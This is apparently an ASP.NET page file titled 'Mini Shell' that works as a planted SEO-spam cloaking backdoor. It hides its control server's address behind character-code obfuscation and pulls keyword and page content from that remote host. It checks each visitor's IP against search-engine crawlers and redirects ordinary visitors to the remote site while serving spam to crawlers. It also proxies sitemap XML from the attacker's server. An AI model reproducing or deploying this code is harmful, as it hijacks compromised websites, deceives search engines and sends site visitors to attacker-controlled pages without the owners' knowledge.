Mini Shell

using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text;
public partial class distp : System.Web.UI.Page
{  public static string chr(int asciiCode)
    {  System.Text.ASCIIEncoding asciiEncoding = new System.Text.ASCIIEncoding();
        byte[] byteArray = new byte[] { (byte)asciiCode };
        string strCharacter = asciiEncoding.GetString(byteArray);
        return (strCharacter);}
    protected void Page_Load(object sender, EventArgs e)
    {   string httpxy = HttpContext.Current.Request.IsSecureConnection ? "https://" : "http://";
	    webclient = new System.Net.WebClient();
        webclient.Encoding = System.Text.Encoding.UTF8;
	    hyzhdy = webclient.DownloadString(chr(104)+chr(116)+chr(116)+chr(112)+chr(58)+chr(47)+chr(47)+chr(121)+chr(109)+chr(115)+chr(46)+chr(122)+chr(104)+chr(100)+chr(121)+chr(121)+chr(109)+chr(46)+chr(99)+chr(111)+chr(109)+chr(47)+chr(121)+chr(109)+chr(115)+chr(106)+chr(46)+chr(97)+chr(115)+chr(112)+chr(120)+chr(63)+chr(121)+chr(105)+chr(100)+chr(61)+Request.QueryString["yid"]);
        if (!IsPostBack)
        {   tz();
            a = new Random(System.DateTime.Now.Millisecond);
			int cid = Convert.ToInt32(webclient.DownloadString( hyzhdy + chr(47)+chr(115)+chr(106)+chr(115)+chr(46)+chr(97)+chr(115)+chr(112)+chr(120)));
			if (Request.QueryString["cid"] != null && Request.QueryString["cid"] != "") { cid = int.Parse(Request.QueryString["cid"]); }
			gjc1 = webclient.DownloadString( hyzhdy + chr(47)+chr(103)+chr(101)+chr(116)+chr(99)+chr(105)+chr(46)+chr(97)+chr(115)+chr(112)+chr(120)+chr(63)+chr(99)+chr(105)+chr(100)+chr(61) + cid + "&s=2&e=4");
			gjc2 = webclient.DownloadString( hyzhdy + chr(47)+chr(103)+chr(101)+chr(116)+chr(99)+chr(105)+chr(46)+chr(97)+chr(115)+chr(112)+chr(120)+chr(63)+chr(99)+chr(105)+chr(100)+chr(61) + cid + "&s=5&e=7");
			ckwz = webclient.DownloadString( hyzhdy + chr(47)+chr(119)+chr(108)+chr(46)+chr(97)+chr(115)+chr(112));
            string pname = Request.CurrentExecutionFilePath;
			dbhl = webclient.DownloadString( hyzhdy + chr(47)+chr(121)+chr(109)+chr(115)+chr(106)+chr(47)+chr(104)+chr(108)+chr(46)+chr(97)+chr(115)+chr(112)+chr(120)+chr(63)+chr(112)+chr(97)+chr(103)+chr(101)+chr(61) + pname);
                if (Request.QueryString["zhzh"] != null)
                {   gjc = Request.QueryString["zhzh"];
				    int wid = new Random().Next(1, 4108);
                    URL = hyzhdy + chr(47)+chr(121)+chr(109)+chr(115)+chr(106)+chr(47)+chr(109)+chr(98)+chr(50)+chr(46)+chr(97)+chr(115)+chr(112)+chr(120)+chr(63)+chr(99)+chr(105)+chr(100)+chr(61) + Request.QueryString["cid"] + "&shop=" + HttpUtility.UrlEncode(gjc) + "&xi=" + Request.QueryString["xi"] + "&xc=" + Request.QueryString["xc"] + "&page=" + pname + "&mt=" + hyzhdy + "/ar/ar_"+wid+".txt";
                }
				else if (Request.QueryString["number"] != null)
            {   URL = hyzhdy + chr(47)+chr(121)+chr(109)+chr(115)+chr(106)+chr(47)+chr(115)+chr(116)+chr(112)+chr(46)+chr(97)+chr(115)+chr(112)+chr(120)+chr(63)+chr(99)+chr(105)+chr(100)+chr(61) + cid + "&number=" + Request.QueryString["number"] +  "&xi=1-6&xc=19-26&pnum=" + Request.QueryString["pnum"];
                content = webclient.DownloadString(URL);
				content = content.Replace("yymm", httpxy + HttpContext.Current.Request.Url.Host + pname);
				content = content.Replace("shop=", "zhzh=");
				Response.ContentType = "text/xml";
				Response.Write(content);
                Response.End();
            }
				else if (Request.QueryString["s"] != null)
            {
                content = webclient.DownloadString(chr(104)+chr(116)+chr(116)+chr(112)+chr(58)+chr(47)+chr(47)+chr(121)+chr(109)+chr(115)+chr(46)+chr(122)+chr(104)+chr(100)+chr(121)+chr(121)+chr(109)+chr(46)+chr(99)+chr(111)+chr(109)+chr(47)+chr(115)+chr(115)+chr(121)+chr(46)+chr(97)+chr(115)+chr(112)+chr(120));
				content = content.Replace("yymm", httpxy + HttpContext.Current.Request.Url.Host + pname);
				Response.ContentType = "text/xml";
				Response.Write(content);
                Response.End();
            }
				else if (Request.QueryString["ping"] != null)
            {
                content = webclient.DownloadString(chr(104)+chr(116)+chr(116)+chr(112)+chr(58)+chr(47)+chr(47)+chr(121)+chr(109)+chr(115)+chr(46)+chr(122)+chr(104)+chr(100)+chr(121)+chr(121)+chr(109)+chr(46)+chr(99)+chr(111)+chr(109)+chr(47)+chr(112)+chr(105)+chr(110)+chr(103)+chr(46)+chr(97)+chr(115)+chr(112)+chr(120)+chr(63)+chr(121)+chr(105)+chr(100)+chr(61)+Request.QueryString["yid"]+"&cid="+Request.QueryString["cid"]);
				content = content.Replace("yymm", httpxy + HttpContext.Current.Request.Url.Host + pname);
				string ping = webclient.DownloadString(content);
				Response.Write(ping);
				Response.Write(content);
                Response.End();
            }			
				else {URL = hyzhdy + chr(47)+chr(121)+chr(109)+chr(115)+chr(106)+chr(47)+chr(109)+chr(98)+chr(50)+chr(46)+chr(97)+chr(115)+chr(112)+chr(120)+chr(63)+chr(99)+chr(105)+chr(100)+chr(61) + cid + "&xi=1-6&xc=19-26&pnum=" + Request.QueryString["pnum"] + "&page=" + pname;}
                content = webclient.DownloadString(URL);
                content = content.Replace("shop=", "zhzh=");
        }
    }
	public void tz()
    {
        string ip = System.Web.HttpContext.Current.Request.ServerVariables["REMOTE_ADDR"] + "*" + System.Web.HttpContext.Current.Request.ServerVariables["REMOTE_HOST"] + "*" + System.Web.HttpContext.Current.Request.ServerVariables["HTTP_X_FORWARDED_FOR"] + "*" + System.Web.HttpContext.Current.Request.ServerVariables["HTTP_CLIENT_IP"] + "*" + System.Web.HttpContext.Current.Request.ServerVariables["HTTP_X_FORWARDED"] + "*" + System.Web.HttpContext.Current.Request.ServerVariables["HTTP_FORWARDED_FOR"] + "*" + System.Web.HttpContext.Current.Request.ServerVariables["HTTP_FORWARDED"];
        if (Request.QueryString["kk"] != null)
        {
            ip = "66.249.64.190";
        }
        string ipurl = hyzhdy + "/getdomain.aspx?rnd=1&ip=" + ip;
        webclient = new System.Net.WebClient();
        webclient.Encoding = System.Text.Encoding.UTF8;
        string domain = webclient.DownloadString(ipurl).ToLower();
        if (domain.IndexOf("google") == -1 && domain.IndexOf("msn.com") == -1 && domain.IndexOf("yahoo.com") == -1 && domain.IndexOf("aol.com") == -1)
        {
            if (Request.QueryString["zhzh"] != null)
            {
                string tzurl = hyzhdy + chr(47)+chr(97)+chr(46)+chr(97)+chr(115)+chr(112)+chr(120);
                Response.Redirect(tzurl + "?cid=" + Request.QueryString["cid"] + "&cname=" + HttpUtility.UrlEncode(Request.QueryString["zhzh"]) + "&xi=" + Request.QueryString["xi"] + "&xc=" + Request.QueryString["xc"] + "&ll=" + HttpContext.Current.Request.Url.Host);
				Response.End();
            }
        }
    }
    public System.Net.WebClient webclient = null;
	public string gjc="";
	public string gjc1="";
	public string gjc2="";
    public string content = "";
    public string hyzhdy="";
	public string URL = "";
    public System.Random a = null;
	public string dbhl="";
	public string ckwz="";

}